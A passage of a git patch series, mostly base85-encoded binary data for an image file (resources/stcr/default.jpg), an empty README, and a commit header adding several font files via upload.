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 C?LU|R literal 0 HcmV?d00001 diff --git a/resources/stcr/README.md b/resources/stcr/README.md new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/resources/stcr/README.md @@ -0,0 +1 @@ + diff --git a/resources/stcr/default.jpg b/resources/stcr/default.jpg new file mode 100644 index 0000000000000000000000000000000000000000..fa568cbfc8312221d344434b47671d7ef79fc1bc GIT binary patch literal 7196 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 literal 0 HcmV?d00001 From 71c9bc1016c8b61e56be2d17e4e10bf838d308b2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 12:50:32 +0530 Subject: [PATCH 198/838] Add files via upload --- Fonts/DroidSansMono.ttf | Bin 0 -> 108128 bytes Fonts/ProductSans-BoldItalic.ttf | Bin 0 -> 95504 bytes Fonts/ProductSans-Light.ttf | Bin 0 -> 92564 bytes Fonts/Quivira.otf | Bin 0 -> 1549016 bytes Fonts/Roboto-Italic.ttf | Bin 0 -> 328640 bytes Fonts/Roboto-Medium.ttf | Bin 0 -> 160696 bytes Fonts/Roboto-Regular.ttf | Bin 0 -> 158604 bytes 7 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 Fonts/DroidSansMono.ttf create mode 100644 Fonts/ProductSans-BoldItalic.ttf create mode 100644 Fonts/ProductSans-Light.ttf create mode 100644 Fonts/Quivira.otf create mode 100644 Fonts/Roboto-Italic.ttf create mode 100644 Fonts/Roboto-Medium.ttf create 